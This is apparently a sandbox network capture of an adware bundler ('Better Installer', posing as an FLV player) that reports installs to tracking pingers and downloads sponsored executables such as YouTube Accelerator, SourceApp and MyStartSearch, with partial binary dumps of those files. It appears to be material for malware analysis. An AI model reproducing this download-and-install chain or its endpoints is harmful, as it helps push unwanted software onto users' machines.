.P.P.P.K...H.P.K...o.P.K.....P.Y...R.P.Y..._.P.P.Q.-.P.K...Z.P.EH..Q.P
.K...Q.P.RichP.P.........PE..L......T.................................
.... ....@.......................... .......a....@....................
.............h...........\...............`.......l ..`"...............
................|..@............ ...............................text..
.a........................... ..`.rdata....... ......................@
[email protected].......*[email protected]...\..................
.........@[email protected][email protected].................
......................................................................
......................................................................
......................................................................
......................................................................
.................................................."C...t.......U..V...
.."C...t...E..t.V.9y.......^]............................U..j.hd.C.d..
...P...SV.t.C.3.P.E.d......u.3.S....k...]..^..^..^..^..^..^..^..^ .E..
;.u(.E.P.M..E.|RC...s..h0.C..M.Q.E..#C......WV.#h........M.d......Y^[.
.].....U..j.h..C.d.....PVW.t.C.3.P.E.d......u.V.E......bg...F.3....;.t
.P..w......~..F.;.t.P..w......~..F.;.t.P..w......~..F.;.t.P..w........
~..E......2j...M.d......Y_^..].............U...E.VP....s.....#C...^]..
[email protected]..^..].......U..QVW..j..M.<<< skipped >>>

GET /pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=796c1daebeb52f4eabf469c6ed8ad1c0&uniqid=107e4dff93c730f0dfd7b0fba2aba7c7&affiliate_id=network_adworkmedia_1&software_id=flvplayerkuiw&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=db3f86fab0fe4cd5e4a4746bffe5c0c1&tokyo_csrf2_timestamp=1423540682&slot_number=1&index_in_screen=1&index_in_session=1&0.2570353844349387 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/network_adworkmedia_1/flvplayerkuiw/796c1daebeb52f4eabf469c6ed8ad1c0?v=2.1&uid=796c1daebeb52f4eabf469c6ed8ad1c0&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.576676510.1423540685.1423540685.1423540685.1; __utmb=1.1.10.1423540685; __utmc=1; __utmz=1.1423540685.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 10 Feb 2015 03:58:22 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Tue, 10 Feb 2015 03:58:22 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..

GET /ads/conversion/971163981/?random=722253959&cv=7&fst=1423540823357&num=1&fmt=3&label=DQanCNPMoRIQzZKLzwM&bg=ffffff&hl=en&guid=ON&u_h=901&u_w=1716&u_ah=857&u_aw=1716&u_cd=24&u_his=1&u_tz=120&u_java=true&u_nplug=0&u_nmime=0&frm=0&url=http://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,e5f8ccfa-064a-4525-b909-9b89e346b6d9,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=68&BundleID=NONE&vis=1&ctc_id=CAIVAgAAAB0CAAAA&ct_cookie_present=false&cdct=2&convclickts=0&random=3341751375 HTTP/1.1

Accept: image/png, image/svg xml, image/*;q=0.8, */*;q=0.5

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,e5f8ccfa-064a-4525-b909-9b89e346b6d9,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=68&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

DNT: 1

Connection: Keep-Alive

Host: VVV.google.com


HTTP/1.1 302 Found

Location: hXXp://VVV.google.com.ua/ads/conversion/971163981/?random=722253959&cv=7&fst=1423540823357&num=1&fmt=3&label=DQanCNPMoRIQzZKLzwM&bg=ffffff&hl=en&guid=ON&u_h=901&u_w=1716&u_ah=857&u_aw=1716&u_cd=24&u_his=1&u_tz=120&u_java=true&u_nplug=0&u_nmime=0&frm=0&url=http://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,e5f8ccfa-064a-4525-b909-9b89e346b6d9,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=68&BundleID=NONE&vis=1&ctc_id=CAIVAgAAAB0CAAAA&ct_cookie_present=false&cdct=2&convclickts=0&random=3341751375&ipr=y

Cache-Control: private, max-age=43200

Date: Tue, 10 Feb 2015 04:00:22 GMT

Expires: Tue, 10 Feb 2015 04:00:22 GMT

Content-Type: text/html; charset=UTF-8

X-Content-Type-Options: nosniff

Server: adclick_server

Content-Length: 950

X-XSS-Protection: 1; mode=block

Alternate-Protocol: 80:quic,p=0.02
<HTML><HEAD><meta http-equiv="content-type" content="te
xt/html;charset=utf-8">.<TITLE>302 Moved</TITLE></HE
AD><BODY>.<H1>302 Moved</H1>.The document has mov
ed.<A HREF="hXXp://VVV.google.com.ua/ads/conversion/971163981/?rand
om=722253959&cv=7&fst=1423540823357&num=1&fmt=3&la
bel=DQanCNPMoRIQzZKLzwM&bg=ffffff&hl=en&guid=ON&u_h=90
1&u_w=1716&u_ah=857&u_aw=1716&u_cd=24&u_his=1&
u_tz=120&u_java=true&u_nplug=0&u_nmime=0&frm=0&url
=http://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4%2
6VA_Aff=smtycl1_0_0_0_0,e5f8ccfa-064a-4525-b909-9b89e346b6d9,&
VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=
Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=68&Bund
leID=NONE&vis=1&ctc_id=CAIVAgAAAB0CAAAA&ct_cookie_presen
t=false&cdct=2&convclickts=0&random=3341751375&ipr=y"&
gt;here</A>...</BODY></HTML>....<<< skipped >>>

GET /v4/sof-ient/535559167_198339_B48A115F?action0=xa.geoip&action2=visit&update0=ref,smt&update1=nation,us&update2=language,en&update3=version,2.8.8.28&update4=chptid,smt HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) in my heart of heart.

Host: xa.xingcloud.com


HTTP/1.1 200 OK

Server: nginx/0.7.67

Date: Tue, 10 Feb 2015 03:59:57 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3

xa-api-version: v4

48..{"stats":"ok","time":"0.62 ms","message":"store 3 action and 5 upd
ate "}..0......

GET /v4/sof-ient/535559167_198339_B48A115F?action1=install.smt HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) in my heart of heart.

Host: xa.xingcloud.com


HTTP/1.1 200 OK

Server: nginx/0.7.67

Date: Tue, 10 Feb 2015 03:59:57 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3

xa-api-version: v4

48..{"stats":"ok","time":"0.60 ms","message":"store 1 action and 0 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Tue, 10 Feb 20
15 03:59:57 GMT..Content-Type: text/html; charset=utf-8..Transfer-Enco
ding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api
-version: v4..48..{"stats":"ok","time":"0.60 ms","message":"store 1 ac
tion and 0 update "}..0..

GET /pinger?event_type=offer_accepted&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=796c1daebeb52f4eabf469c6ed8ad1c0&uniqid=107e4dff93c730f0dfd7b0fba2aba7c7&affiliate_id=network_adworkmedia_1&software_id=flvplayerkuiw&sponsored_id=sourceapp_b2b&tokyo_csrf2_key=6ce1d45cb9dcbf614e3d4452d7aa3413&tokyo_csrf2_timestamp=1423540742&slot_number=2&index_in_screen=1&index_in_session=2&0.786470066242579 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/downloader/network_adworkmedia_1/flvplayerkuiw/49e8b48101569a41ad990f2a534d0e40?muid=96D78F35E7B7EA4FC32736D428DF43B4&v1=:v1:&cv=:cv:&v=2.1v=2.1&uid=49e8b48101569a41ad990f2a534d0e40&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.576676510.1423540685.1423540685.1423540685.1; __utmb=1.1.10.1423540685; __utmz=1.1423540685.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 10 Feb 2015 03:59:02 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Tue, 10 Feb 2015 03:59:02 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0......

GET /pinger?event_type=install_start&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=796c1daebeb52f4eabf469c6ed8ad1c0&uniqid=107e4dff93c730f0dfd7b0fba2aba7c7&affiliate_id=network_adworkmedia_1&software_id=flvplayerkuiw&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=6ce1d45cb9dcbf614e3d4452d7aa3413&tokyo_csrf2_timestamp=1423540742&slot_number=1&index_in_screen=1&index_in_session=1&0.8068088476698185 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/downloader/network_adworkmedia_1/flvplayerkuiw/49e8b48101569a41ad990f2a534d0e40?muid=96D78F35E7B7EA4FC32736D428DF43B4&v1=:v1:&cv=:cv:&v=2.1v=2.1&uid=49e8b48101569a41ad990f2a534d0e40&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.576676510.1423540685.1423540685.1423540685.1; __utmb=1.1.10.1423540685; __utmz=1.1423540685.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 10 Feb 2015 03:59:07 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Tue, 10 Feb 2015 03:59:07 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0......

GET /pinger?event_type=install_complete&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=796c1daebeb52f4eabf469c6ed8ad1c0&uniqid=107e4dff93c730f0dfd7b0fba2aba7c7&affiliate_id=network_adworkmedia_1&software_id=flvplayerkuiw&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=6ce1d45cb9dcbf614e3d4452d7aa3413&tokyo_csrf2_timestamp=1423540742&slot_number=1&index_in_screen=1&index_in_session=1&0.5265121811415413 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/downloader/network_adworkmedia_1/flvplayerkuiw/49e8b48101569a41ad990f2a534d0e40?muid=96D78F35E7B7EA4FC32736D428DF43B4&v1=:v1:&cv=:cv:&v=2.1v=2.1&uid=49e8b48101569a41ad990f2a534d0e40&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.576676510.1423540685.1423540685.1423540685.1; __utmb=1.1.10.1423540685; __utmz=1.1423540685.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 10 Feb 2015 03:59:16 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Tue, 10 Feb 2015 03:59:16 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0......

GET /pinger?event_type=install_start&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=796c1daebeb52f4eabf469c6ed8ad1c0&uniqid=107e4dff93c730f0dfd7b0fba2aba7c7&affiliate_id=network_adworkmedia_1&software_id=flvplayerkuiw&sponsored_id=sourceapp_b2b&tokyo_csrf2_key=6ce1d45cb9dcbf614e3d4452d7aa3413&tokyo_csrf2_timestamp=1423540742&slot_number=2&index_in_screen=1&index_in_session=2&0.36364095208215385 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/downloader/network_adworkmedia_1/flvplayerkuiw/49e8b48101569a41ad990f2a534d0e40?muid=96D78F35E7B7EA4FC32736D428DF43B4&v1=:v1:&cv=:cv:&v=2.1v=2.1&uid=49e8b48101569a41ad990f2a534d0e40&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.576676510.1423540685.1423540685.1423540685.1; __utmb=1.1.10.1423540685; __utmz=1.1423540685.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 10 Feb 2015 03:59:16 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Tue, 10 Feb 2015 03:59:16 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0......

GET /pinger?event_type=install_fail&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=796c1daebeb52f4eabf469c6ed8ad1c0&uniqid=107e4dff93c730f0dfd7b0fba2aba7c7&affiliate_id=network_adworkmedia_1&software_id=flvplayerkuiw&sponsored_id=sourceapp_b2b&tokyo_csrf2_key=6ce1d45cb9dcbf614e3d4452d7aa3413&tokyo_csrf2_timestamp=1423540742&slot_number=2&index_in_screen=1&index_in_session=2&0.1812382685800079 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/downloader/network_adworkmedia_1/flvplayerkuiw/49e8b48101569a41ad990f2a534d0e40?muid=96D78F35E7B7EA4FC32736D428DF43B4&v1=:v1:&cv=:cv:&v=2.1v=2.1&uid=49e8b48101569a41ad990f2a534d0e40&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.576676510.1423540685.1423540685.1423540685.1; __utmb=1.1.10.1423540685; __utmz=1.1423540685.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 10 Feb 2015 03:59:23 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Tue, 10 Feb 2015 03:59:23 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0......

GET /pinger?event_type=install_start&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=796c1daebeb52f4eabf469c6ed8ad1c0&uniqid=107e4dff93c730f0dfd7b0fba2aba7c7&affiliate_id=network_adworkmedia_1&software_id=flvplayerkuiw&sponsored_id=mystartsearch&tokyo_csrf2_key=6ce1d45cb9dcbf614e3d4452d7aa3413&tokyo_csrf2_timestamp=1423540742&slot_number=3&index_in_screen=1&index_in_session=3&0.1977497756824642 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/downloader/network_adworkmedia_1/flvplayerkuiw/49e8b48101569a41ad990f2a534d0e40?muid=96D78F35E7B7EA4FC32736D428DF43B4&v1=:v1:&cv=:cv:&v=2.1v=2.1&uid=49e8b48101569a41ad990f2a534d0e40&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.576676510.1423540685.1423540685.1423540685.1; __utmb=1.1.10.1423540685; __utmz=1.1423540685.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 10 Feb 2015 03:59:24 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Tue, 10 Feb 2015 03:59:24 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..

GET /YTAFinishInstall.gif HTTP/1.1

Accept: image/png, image/svg xml, image/*;q=0.8, */*;q=0.5

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,e5f8ccfa-064a-4525-b909-9b89e346b6d9,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=68&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: pix.youtubeaccelerator.com

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: Microsoft-IIS/5.1

Cache-Control: max-age=0, must-revalidate

Expires: Fri, 30 Oct 1998 14:29:43 GMT

Date: Mon, 07 Aug 2006 07:07:36 GMT

Connection: close

Content-Type:image/gif

GIF89a.............!.......,...........D..;HTTP/1.1 200 OK..Server: Mi
crosoft-IIS/5.1..Cache-Control: max-age=0, must-revalidate..Expires: F
ri, 30 Oct 1998 14:29:43 GMT..Date: Mon, 07 Aug 2006 07:07:36 GMT..Con
nection: close..Content-Type:image/gif..GIF89a.............!.......,..
.........D..;..

GET /mirror/mystartsearch/default/setup.exe HTTP/1.1

Range: bytes=160816-

User-Agent: Better Installer(Mozilla)

Host: d1mvy92rurx48h.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 160816

Connection: keep-alive

Date: Sun, 08 Feb 2015 05:31:06 GMT

x-amz-version-id: pJx1Noe1nsjOrolbXLoeUI7xmdja2CTU

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33188/mtime:1422525589/atime:1422525603/ctime:1422525590

Cache-Control: max-age=3600

Last-Modified: Thu, 29 Jan 2015 10:00:41 GMT

ETag: "31f8d1cffb02dff93646f81d8ce3dd75"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 160816-321631/321632

Age: 2241

X-Cache: Hit from cloudfront

Via: 1.1 74f98ee8547ec50a6b9a4c3d010e1e0d.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 6hbDeNpGNSQLKj18aLTCMYh-vAKQ1mR3z9Af3y_eoX0eRCfU_rcLxA==
..C...T.C.Zf.1f.0......Ju..............L...@;.v.....~....0....C.......
[email protected]............{......95..C...T.......M._^3.[.G
.....j.h..C.......M..........}......._h.u..q....E.;C...W...h ....jD..Y
......F.........wh.....#.S.u......YY.E..........u..vh..l C...u..Fh= .C
.t.P.....Y.^hS.=h C....Fp...........C........j......Y.e...C..$.C..C..(
.C..C..,.C.3..E....}[email protected].=....}[email protected][email protected].=..
..}[email protected] C...u..H.C.= .C.t.P.....Y..H.C.S...E....
.......0j......Y..%...u .. .C.t.S.....Y..D...........e...E..;.....=..C
..u.j..V...Y....C.....3....U...M.VW..t..}...u..KD..j.^.0..|.....A.U...
u.........>.t.FOu...t. ......B..t.Ou...u......D..j"Y......3._^]...U
..3.S3.@9].|FVW..t>.E.... ....E....<..7.E..0..;..YY..u..M.....9.
.y.N.u....^.;].~._^3......[..]...U..Q..tP.>.tKh.IC.V.....YY..t:h.IC
.V.....YY..u.j..E.Ph... .w....!C...t).E...V..;..Y.E...j..E.Ph... .w...
.!C...u.3....}..u.... C.....U..3.f.M.f;.pIC.t.......r.3.@].3.]...V3.. 
.A.B<.w.......A.<.w..........t......u...^.3...B..A|...Z~...a...w
[email protected]....|.t.C.3..E.VW.}.................jx.E.P..........%.........
PW... [email protected]:..YY..u.W.....Y..t..................
.................M._3.^.&.........U..QV..j..E.P..%....h... .....P...!C
...u.3..);u.t!.}..t..E..0W.......V...m ..Y;._t.3.@^....U....|.t.C.3..E
.SVW.}...................... C...jx.E.P.F.....%.........PW....u..f..3.
@.c....E.P.v..L9..YY........jx.E.P.F.....%.........PW....t..E.P.6..9..
YY..u..N......~..R.F..uO.F...t,P.E.P.6.,:.......u..6.N...~......Y;<<< skipped >>>

GET /pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=796c1daebeb52f4eabf469c6ed8ad1c0&uniqid=107e4dff93c730f0dfd7b0fba2aba7c7&affiliate_id=network_adworkmedia_1&software_id=flvplayerkuiw&sponsored_id=sourceapp_b2b&tokyo_csrf2_key=db3f86fab0fe4cd5e4a4746bffe5c0c1&tokyo_csrf2_timestamp=1423540682&slot_number=2&index_in_screen=1&index_in_session=2&0.9930856429677359 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/network_adworkmedia_1/flvplayerkuiw/796c1daebeb52f4eabf469c6ed8ad1c0?v=2.1&uid=796c1daebeb52f4eabf469c6ed8ad1c0&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.576676510.1423540685.1423540685.1423540685.1; __utmb=1.1.10.1423540685; __utmc=1; __utmz=1.1423540685.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 10 Feb 2015 03:58:35 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Tue, 10 Feb 2015 03:58:35 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..

GET /sd?is=sm HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: install-cdn.sourceapp.info

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SourceAppSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP002C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Cache-Control: private, max-age=86400

Expires: Wed, 11 Feb 2015 03:59:05 GMT

Date: Tue, 10 Feb 2015 03:59:05 GMT

Content-Range: bytes 0-583239/583240

Content-Length: 583240

Connection: keep-alive

MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................Z....... ...0.......p....@.........
.................................................................s....
..................X...................................................
.............p...............................text....X.......Z........
.......... ..`.rdata.......p.......^..............@[email protected].......
.....p..............@....ndata.......p...........................rsrc.
...............t..............@..@....................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u...Pr@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Hp@[email protected]
....E..9}[email protected].}[email protected]..
[email protected]@.W...E..E.h [email protected]...\r@._^3.
[.....L$...nD...Si.. ..VW.T.....tO.q.3.;5.nD.sB..i.. ...D.......t.G...
..t...O..t .....u...3....3...F.. ..;5.nD.r._^[...U..QQ.U.SV..i.. .

<<< skipped >>>

GET /software_files/flvplayer/1_0/FLVPlayerSetup.exe HTTP/1.1

Range: bytes=69938-139876

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Tue, 10 Feb 2015 03:58:03 GMT

Content-Type: application/octet-stream

Content-Length: 69939

Last-Modified: Tue, 16 Jul 2013 14:25:52 GMT

Connection: close

ETag: "51e557f0-444c8"

Content-Range: bytes 69938-139876/279752
.].`...4L.\d,.2?d2.......-..=....%*.?9:[email protected]..$...e..=
..#..5 ..I6.9..(..e....}....H.-.d{.D.....k.Uuu......NT.....zn...A.3...
....'..}..._....gU..g.e.X....>.M...W.........L.....S......>.zR..
.q...=.....T.....T....z..../..'.ur...Z;..........s.~=......W..... Uz].
.U....2...Tm...n.z......VV..A.'.S.g.).....yNe..........cuF.......pD.^.
.a2.|.~o.......Z.WG.|..`.=...A.B...O...D.I..S..25.1.h..A....z.U.a..../
"%u97..l.4#..../3ww...i6...^..).f..'[8.[..S...iw.KyI2..7ou>.W......
0.`.l.T. ..=....4.S....{.-...z0...zz<P..M..9.3.r......y%..nJ4...s.L
....Lj..-...i.2........1.q4....g.-.'..i...& N..).m..)..MQ.>.9..9...
{Xev......ue[f2W....lK...z....LK.fX.....mB..3..g..R"x....-.....)....,x
...b......)2.zS.a.o.Ms}.<..M..9..f...[S6.n....|s|.z....N...7k... .P
..-.Gf*...&3......... .L].2.e..xI(c.9.Ky.3.L-...v...a..5..q...f...Y.2,
u{.K1.LM...x.y...........t..[...T.?....@.=....!^..L...tqOu....{..p..1S
...}k`...=S..&c.......W ..!.p..2.eI..U.-.C&.-.C&....Lj[..L.Z..LjZ.....
............!....!.j..!..V.C&.-.C&5...L.K....X...............O........
.T.?.G.....I...^n[.,....?...5..C&..O...........zO.........).,....#\$.7
SC....L.x.x.....p....'#].'.Px....K....G....M..F....m...F%w.....*.4h...
t.&...mk.OwTq......=...Mz..|...".e..K.....G......../}...sOF.^..b..P...
....u.....B./..\...O*...C...sY.G...1..x_......|=.........v~e.....3...2
..4I~B.8..k.9Q..P........M.G.......}.U0.nP..z..1....~pN...2....j8:Wc..
F...7.....Q. .8L.4r......IQp..*....Y.p..{g....>\..........W.(.{5R..
..yM......5Q.q=.^.'.Q5........I..h...#....e.o....U.]..../.....^.P.<<< skipped >>>

GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1

Range: bytes=214170-

User-Agent: Better Installer(Mozilla)

Host: dwl4rwv9nkwfy.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 71388

Connection: keep-alive

Date: Sun, 08 Feb 2015 04:56:46 GMT

x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894

Cache-Control: max-age=3600

Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT

ETag: "518879abe3170dabd172dfffcd165598"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 214170-285557/285558

Age: 3310

X-Cache: Hit from cloudfront

Via: 1.1 a436b6df4b0d1bd189edf722b5d2a523.cloudfront.net (CloudFront)

X-Amz-Cf-Id: mzQVzF5nkDMO4XZo-QEMDDwc7onCSkI90QZZnHt_yUU-ds51fHWbhw==
a...:X.h0...d...,Q..b:..... <o..^..z.nI...n..b..3........$.#....k..
m...L:M..^..b..j.*G.:c'^T... .k..|..?D...c....\..P.}[email protected].
...x.X..7.[.f...!......g...)aT......k.....1..K.....ou74.U..#.k3-...N..
.....t....u8n.7.c.2..7J... ...h..s......[.V..44.a..<.- .....x..O2oZ
*...u.....oY...T..k..r. z'._GC..B.W.9&1......'.~/].2 v~..:f.=.x<0.}
.e3F/5..b..<!..H...1)......V~G...7.........A..1VS..s.!6.k.J6...h.o.
